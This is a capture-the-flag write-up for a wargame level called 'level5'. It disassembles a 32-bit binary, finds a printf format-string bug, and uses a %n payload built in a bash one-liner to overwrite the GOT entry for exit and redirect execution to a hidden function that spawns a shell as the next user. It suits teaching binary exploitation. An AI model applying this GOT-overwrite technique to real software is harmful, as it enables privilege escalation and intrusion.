Skip to content

Latest commit

 

History

History
112 lines (96 loc) · 3.72 KB

solution.md

File metadata and controls

112 lines (96 loc) · 3.72 KB

← level4 Home level6 →

level5

Dissassembly

To dissassemble the executable we can use objdump.

EXECUTABLE=./level5

objdump -M intel -d "$EXECUTABLE"

The main function looks like this:

08048504 <main>:
 8048504:	55                   	push   ebp
 8048505:	89 e5                	mov    ebp,esp
 8048507:	83 e4 f0             	and    esp,0xfffffff0
 804850a:	e8 b3 ff ff ff       	call   80484c2 <n>
 804850f:	c9                   	leave

It calls another function n, which uses printf to print our input:

080484c2 <n>:
 80484c2:	55                   	push   ebp
 80484c3:	89 e5                	mov    ebp,esp
 80484c5:	81 ec 18 02 00 00    	sub    esp,0x218
 80484cb:	a1 48 98 04 08       	mov    eax,ds:0x8049848
 80484d0:	89 44 24 08          	mov    DWORD PTR [esp+0x8],eax
 80484d4:	c7 44 24 04 00 02 00 	mov    DWORD PTR [esp+0x4],0x200
 80484db:	00
 80484dc:	8d 85 f8 fd ff ff    	lea    eax,[ebp-0x208]
 80484e2:	89 04 24             	mov    DWORD PTR [esp],eax
 80484e5:	e8 b6 fe ff ff       	call   80483a0 <fgets@plt>
 80484ea:	8d 85 f8 fd ff ff    	lea    eax,[ebp-0x208]
 80484f0:	89 04 24             	mov    DWORD PTR [esp],eax
 80484f3:	e8 88 fe ff ff       	call   8048380 <printf@plt>
 80484f8:	c7 04 24 01 00 00 00 	mov    DWORD PTR [esp],0x1
 80484ff:	e8 cc fe ff ff       	call   80483d0 <exit@plt>

There is a call to exit at the end of the procedure, so we cannot override the stored value of the EIP to jump on a shellcode.

There also is another function o, which uses a system call to run a shell:

080484a4 <o>:
 80484a4:	55                   	push   ebp
 80484a5:	89 e5                	mov    ebp,esp
 80484a7:	83 ec 18             	sub    esp,0x18
 80484aa:	c7 04 24 f0 85 04 08 	mov    DWORD PTR [esp],0x80485f0
 80484b1:	e8 fa fe ff ff       	call   80483b0 <system@plt>
 80484b6:	c7 04 24 01 00 00 00 	mov    DWORD PTR [esp],0x1
 80484bd:	e8 ce fe ff ff       	call   8048390 <_exit@plt>

The problem is that it is not referenced, and needs to be accessed through a jmp or call instruction. We can see that the only thing we can exploit would be the exit call itself, since we cannot reach any other function past this point.

The exit function uses a PLT-stub to redirect the call to the dynamically loaded libc library, whose address is only knwon past runtime-linking. The stub function looks like this:

080483d0 <exit@plt>:
 80483d0:	ff 25 38 98 04 08    	jmp    DWORD PTR ds:0x8049838
 80483d6:	68 28 00 00 00       	push   0x28
 80483db:	e9 90 ff ff ff       	jmp    8048370 <_init+0x3c>

The stub function jumps to a pointer stored at 0x8049838. If we manage to overwrite this pointer, we can jump anywhere we want.

The stack of the n function looks like this:

Address Type Size
-0x218 char *fmt 4
-0x210 FILE *stdin 4
-0x20c size_t len 4
-0x208 char data[200] 512
0x000 *EBP 4
0x004 *EIP 4

We can place the address of the stub function's pointer to the start of our buffer, and write to it using the %n format specifier.

Let's try to jump to the o function with the system call:

ADDRESS=08049838
VALUE=080484a4

BYTES=$(<<< "$ADDRESS" rev | dd conv=swab | xxd -r -p)
LENGTH=$((16#$VALUE))
PADDING=$((LENGTH - ${#BYTES}))

(echo "${BYTES}%${PADDING}x%4\$n"; cat) | ./level5
...
200
whoami
level6